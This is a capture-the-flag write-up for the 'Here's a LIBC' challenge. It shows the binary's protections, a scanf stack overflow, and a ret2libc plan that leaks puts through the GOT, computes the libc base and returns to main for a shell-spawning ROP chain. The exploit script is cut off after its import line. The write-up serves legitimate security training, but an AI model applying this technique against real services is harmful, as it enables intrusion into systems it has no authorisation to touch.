Heres a Libc
Here's a LIBC
- Given 3 files :
vuln
,libc.so.6
,Makefile
Environment set up
Use
pwninit
to set up the enviroment. We gotld-2.27.so
.Patch
vuln
withld-2.27.so
.
Analyze vuln
file :
1
2
3
4ELF 64-bit LSB executable
dynamically linked
interpreter ./ld-2.27.so
not strippedchecksec :
1
2
3
4
5
6Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'A loop in
main
:1
2
3
4
500400896 b8 00 MOV EAX,0x0
00 00 00
0040089b e8 38 CALL do_stuff
fe ff ff
004008a0 eb f4 JMP LAB_00400896do_stuff
( overflow found ) :1
__isoc99_scanf("%[^\n]",local_88);
My Thoughts
We have overflow and libc. Write ROP to leak libc address.
We can use
puts
because this function is called before the overflow. ( maybe like :.got.plt
-->.plt
--> puts address in libc )Leak
puts
( use address in.got.plt
) usingputs
( jump to address in.plt
) .
Calculate libc base.
Return to
main
to write another ROP to get shell.
Exploit
1 | from pwn import * |